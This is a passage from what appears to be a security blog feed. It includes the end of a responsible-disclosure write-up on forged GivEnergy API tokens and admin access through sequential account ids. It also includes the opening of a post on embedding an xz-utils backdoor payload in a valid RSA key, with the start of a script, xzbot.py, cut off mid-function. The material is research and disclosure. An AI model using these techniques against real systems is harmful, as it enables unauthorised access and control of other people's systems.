</td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;timezone&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;GMT&amp;quot;&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssp"&gt;}&lt;/span&gt;</code> </td></tr></tbody></table></div> <p>The account ids seemed to be sequential, so I could just change that and access any of them. I had another look at the <a class="external" href="proxy.php?url=https%3A%2F%2Fgivenergy.cloud%2Fdocs%2Fapi%2Fv1%23account-GETaccount--user_id-">API documentation</a> and saw there were some methods limited to &ldquo;engineer+&rdquo;. Plus? I tried setting the account id to &ldquo;1&rdquo;, figuring it&rsquo;d probably be an admin account. Indeed it was, and seemingly subject to no permissions checks, as I could access data for my own system from it.</p> <p>All your battery are belong to us.</p> </div> <div class="section" id="the-vendor-response"> <h2><a href="#the-vendor-response" rel="bookmark">The Vendor Response</a></h2> <p>Just before bed on July 8<sup>th</sup> I sent off an email to their head of security<a class="footnote-reference" href="#id2">[1]</a><a id="id1"></a> politely explaining what I&rsquo;d done and why it was a problem. I included the following as proof:</p> <div class="highlight"><table class="highlighttable"><tbody><tr><td> <code>&lt;span class="pgcssp"&gt;{&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;address&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;Unit 1 Osprey House, Brymbo Road&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;country&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;UNITED_KINGDOM&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;email&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;███████@givenergy.co.uk&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;first_name&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;Giv&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;id&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;Givenergy01&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;postcode&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;ST5 9HX&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;role&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;ADMIN&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;standard_timezone&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;Europe/London&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;surname&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;Energy&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;telephone_number&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;███████████&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;timezone&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;GMT&amp;quot;&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssp"&gt;}&lt;/span&gt;</code> </td></tr></tbody></table></div> <p>A response was waiting for me in the morning, thanking me and making it clear that they were taking it seriously and a fix was their top priority.</p> <p>I followed up thanking them for the update, and offering to confirm their fix for them when it was ready.</p> <p>Their CTO followed up late that evening, thanking me again and asking if he could take me up on my offer to test their fix. Which was already deployed.</p> <p>They did what now? I read the email again. Twice. I did some testing. They&rsquo;d switch to a 4096 bit RSA key, but not only was I no longer able to mint my own API tokens, the legitimate ones I&rsquo;d initially generated still worked. Was I dreaming?</p> <p>My confirmation led with:</p> <blockquote> Wow, this is by far the best vendor response I&rsquo;ve ever seen.</blockquote> <p>Seriously. A+++++ would tell them I pwned their stuff again.</p> <p>They&rsquo;ve posted <a class="external" href="proxy.php?url=https%3A%2F%2Fgivenergy.co.uk%2Freal-world-example-givenergy-security-and-cyberthreat-response%2F">their take</a> on the issue.</p> </div> <div class="section" id="the-bigger-picture"> <h2><a href="#the-bigger-picture" rel="bookmark">The Bigger Picture</a></h2> <p>Expecting developers to know that 512 bit RSA is insecure clearly doesn&rsquo;t work. They&rsquo;re not cryptographers. This is not their job. The failure wasn&rsquo;t that someone used 512 bit RSA. It was that a library they were relying on <em>let them</em>.</p> <p>I&rsquo;m in favor of task-oriented cryptography libraries which provide tools to solve problems without forcing non-experts to make security decisions.</p> <p>Python&rsquo;s <a class="external" href="proxy.php?url=https%3A%2F%2Fcryptography.io%2Fen%2Flatest%2F">cryptography</a> library has been working to provide this, as well as the low level stuff for when it&rsquo;s needed - they call it &ldquo;hazmat&rdquo;. It comes with a warning:</p> <blockquote> This is a &ldquo;Hazardous Materials&rdquo; module. You should <strong>ONLY</strong> use it if you&rsquo;re 100% absolutely sure that you know what you&rsquo;re doing because this module is full of land mines, dragons, and dinosaurs with laser guns.</blockquote> <p>Support for 512 bit RSA is a land mine, but it&rsquo;s one that can be defused.</p> <p>I&rsquo;m now working to get major cryptography libraries to drop support for it.</p> <p>Python&rsquo;s cryptography library did so coincidentally in a release a few weeks ago (the <a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fpyca%2Fcryptography%2Fcommit%2F83dcbc190165ad5c1f86bddaee76e0b288803c43">commit</a> was in January).</p> <p>I&rsquo;ve submitted a <a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fopenssl%2Fopenssl%2Fpull%2F25094">pull request</a> to OpenSSL.</p> <p>Similar changes for Go&rsquo;s crypto library are now <a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fgolang%2Fgo%2Fissues%2F68762">under discussion</a>.</p> <p>These changes will take some time to become widely distributed, but eventually people will no longer make this mistake.</p> <p><i>This blog post was covered in <a class="external" href="proxy.php?url=https%3A%2F%2Farstechnica.com%2Fsecurity%2F2024%2F08%2Fhome-energy-system-gives-researcher-control-of-virtual-power-plant%2F">Ars Technica</a>.</i></p> </div> Putting an xz Backdoor Payload in a Valid RSA Key2024-04-03T17:55:00+01:002024-04-03T17:55:00+01:00ryanctag:rya.nc,2024-04-03:/xz-valid-n.html<!-- included from `include/globals.rst` --> <p>Last week, <a class="external" href="proxy.php?url=https%3A%2F%2Farstechnica.com%2Fsecurity%2F2024%2F04%2Fwhat-we-know-about-the-xz-utils-backdoor-that-almost-infected-the-world%2F">a backdoor was discovered</a> in <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FXZ_Utils">xz-utils</a>. The backdoor processes commands sent using RSA public keys as a covert channel. In order to prevent anyone else from using the backdoor, the threat actor implemented a cryptographic signature check on the payload.</p> <p>I have seen a number of people claim that this would necessarily result in an obviously invalid RSA public key, or at least one with no corresponding private key.</p> <p>This is incorrect, and someone <a class="external" href="proxy.php?url=https%3A%2F%2Fxkcd.com%2F356%2F">nerd sniped</a> me into proving it.</p> <!-- included from `include/globals.rst` --> <p>Last week, <a class="external" href="proxy.php?url=https%3A%2F%2Farstechnica.com%2Fsecurity%2F2024%2F04%2Fwhat-we-know-about-the-xz-utils-backdoor-that-almost-infected-the-world%2F">a backdoor was discovered</a> in <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FXZ_Utils">xz-utils</a>. The backdoor processes commands sent using RSA public keys as a covert channel. In order to prevent anyone else from using the backdoor, the threat actor implemented a cryptographic signature check on the payload.</p> <p>I have seen a number of people claim that this would necessarily result in an obviously invalid RSA public key, or at least one with no corresponding private key.</p> <p>This is incorrect, and someone <a class="external" href="proxy.php?url=https%3A%2F%2Fxkcd.com%2F356%2F">nerd sniped</a> me into proving it.</p> <div class="highlight"><table class="highlighttable"><caption><a download="" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fxz-valid-n_%2Fattach%2Fxzbot.py" id="xzbot-py">xzbot.py</a></caption><tbody><tr><td class="linenos">1</td><td> <code>&lt;span class="pgcssch"&gt;#!/usr/bin/env python3&lt;/span&gt;</code> </td></tr><tr><td class="linenos">2</td><td> </td></tr><tr><td class="linenos">3</td><td> <code>&lt;span class="pgcssc1"&gt;# python standard library imports&lt;/span&gt;</code> </td></tr><tr><td class="linenos">4</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;os&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;urandom&lt;/span&gt;</code> </td></tr><tr><td class="linenos">5</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;sys&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;argv&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;exit&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;stderr&lt;/span&gt;</code> </td></tr><tr><td class="linenos">6</td><td> </td></tr><tr><td class="linenos">7</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;hashlib&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;sha256&lt;/span&gt;</code> </td></tr><tr><td class="linenos">8</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;base64&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;b64decode&lt;/span&gt; &lt;span class="pgcssk"&gt;as&lt;/span&gt; &lt;span class="pgcssn"&gt;b64d&lt;/span&gt;</code> </td></tr><tr><td class="linenos">9</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;struct&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;pack_into&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;unpack_from&lt;/span&gt;</code> </td></tr><tr><td class="linenos">10</td><td> </td></tr><tr><td class="linenos">11</td><td> <code>&lt;span class="pgcssc1"&gt;# third party imports&lt;/span&gt;</code> </td></tr><tr><td class="linenos">12</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;gmpy2&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;mpz&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;next_prime&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;invert&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;lcm&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;gcd&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;c_div&lt;/span&gt;</code> </td></tr><tr><td class="linenos">13</td><td> </td></tr><tr><td class="linenos">14</td><td> <code>&lt;span class="pgcssc1"&gt;# i ain&amp;#39;t &amp;#39;fraid of no land mines, dragons, or dinosaurs with laser guns&lt;/span&gt;</code> </td></tr><tr><td class="linenos">15</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;cryptography.hazmat.primitives.asymmetric.rsa&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;generate_private_key&lt;/span&gt; &lt;span class="pgcssk"&gt;as&lt;/span&gt; &lt;span class="pgcssn"&gt;rsa_generate&lt;/span&gt;</code> </td></tr><tr><td class="linenos">16</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;cryptography.hazmat.primitives.asymmetric.rsa&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;RSAPrivateNumbers&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;RSAPublicNumbers&lt;/span&gt;</code> </td></tr><tr><td class="linenos">17</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;cryptography.hazmat.primitives.asymmetric.ed448&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;Ed448PrivateKey&lt;/span&gt;</code> </td></tr><tr><td class="linenos">18</td><td> </td></tr><tr><td class="linenos">19</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;cryptography.hazmat.primitives.ciphers.algorithms&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;ChaCha20&lt;/span&gt;</code> </td></tr><tr><td class="linenos">20</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;cryptography.hazmat.primitives.ciphers&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;Cipher&lt;/span&gt;</code> </td></tr><tr><td class="linenos">21</td><td> </td></tr><tr><td class="linenos">22</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;cryptography.hazmat.primitives.serialization&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;PrivateFormat&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;PublicFormat&lt;/span&gt;</code> </td></tr><tr><td class="linenos">23</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;cryptography.hazmat.primitives.serialization&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;Encoding&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;NoEncryption&lt;/span&gt;</code> </td></tr><tr><td class="linenos">24</td><td> <code>&lt;span class="pgcssc1"&gt;# End imports&lt;/span&gt;</code> </td></tr><tr><td class="linenos">25</td><td> </td></tr><tr><td class="linenos">26</td><td> <code>&lt;span class="pgcssn"&gt;COMMAND&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssmi"&gt;2&lt;/span&gt;</code> </td></tr><tr><td class="linenos">27</td><td> <code>&lt;span class="pgcssn"&gt;RSA_BITS&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;RSA_E&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssmi"&gt;2048&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;mpz&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssmi"&gt;65537&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">28</td><td> </td></tr><tr><td class="linenos">29</td><td> <code>&lt;span class="pgcssc1"&gt;# splice data into a bytes-like value, returning a new `bytes` value&lt;/span&gt;</code> </td></tr><tr><td class="linenos">30</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;replace_at&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;orig&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;replace&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;offset&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">31</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssnb"&gt;bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;orig&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;0&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssn"&gt;offset&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssn"&gt;replace&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssn"&gt;orig&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;offset&lt;/span&gt;&lt;span class="pgcsso"&gt;+&lt;/span&gt;&lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;replace&lt;/span&gt;&lt;span class="pgcssp"&gt;):])&lt;/span&gt;</code> </td></tr><tr><td class="linenos">32</td><td> </td></tr><tr><td class="linenos">33</td><td> <code>&lt;span class="pgcssc1"&gt;# integer to two&amp;#39;s complement big endian value encoded as a `bytearray`&lt;/span&gt;</code> </td></tr><tr><td class="linenos">34</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;int_to_bytearray&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">35</td><td> <code> &lt;span class="pgcssn"&gt;i&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">36</td><td> <code> &lt;span class="pgcssn"&gt;i_bytes&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;to_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;((&lt;/span&gt;&lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;bit_length&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssmi"&gt;7&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;//&lt;/span&gt; &lt;span class="pgcssmi"&gt;8&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;byteorder&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;big&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">37</td><td> <code> &lt;span class="pgcssc1"&gt;# a leading zero byte is needed if first bit is 1&lt;/span&gt;</code> </td></tr><tr><td class="linenos">38</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;i_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;0&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="pgcssmh"&gt;0x80&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssn"&gt;i_bytes&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsssa"&gt;b&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcssse"&gt;\0&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssn"&gt;i_bytes&lt;/span&gt;</code> </td></tr><tr><td class="linenos">39</td><td> </td></tr><tr><td class="linenos">40</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssnb"&gt;bytearray&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;i_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">41</td><td> </td></tr><tr><td class="linenos">42</td><td> <code>&lt;span class="pgcssc1"&gt;# newer versions of gmpy2 have this natively :-/&lt;/span&gt;</code> </td></tr><tr><td class="linenos">43</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;mpz_from_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;b&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;byteorder&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;big&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsso"&gt;*&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;signed&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcsskc"&gt;False&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">44</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssn"&gt;mpz&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;from_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;b&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;byteorder&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;signed&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssn"&gt;signed&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">45</td><td> </td></tr><tr><td class="linenos">46</td><td> <code>&lt;span class="pgcssc1"&gt;# random prime, n bytes long&lt;/span&gt;</code> </td></tr><tr><td class="linenos">47</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;random_prime&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">48</td><td> <code> &lt;span class="pgcssn"&gt;rand_bytes&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;urandom&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">49</td><td> <code> &lt;span class="pgcssn"&gt;rand_start&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;mpz_from_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;rand_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">50</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssn"&gt;next_prime&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;rand_start&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcssc1"&gt;# next *probable* prime&lt;/span&gt;</code> </td></tr><tr><td class="linenos">51</td><td> </td></tr><tr><td class="linenos">52</td><td> <code>&lt;span class="pgcssc1"&gt;# construct rsa private key given (n, e, d, p, q)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">53</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;rsa_construct&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;d&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;q&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">54</td><td> <code> &lt;span class="pgcssc1"&gt;# p should be greater than q&lt;/span&gt;</code> </td></tr><tr><td class="linenos">55</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;q&lt;/span&gt; &lt;span class="pgcsso"&gt;&amp;gt;&lt;/span&gt; &lt;span 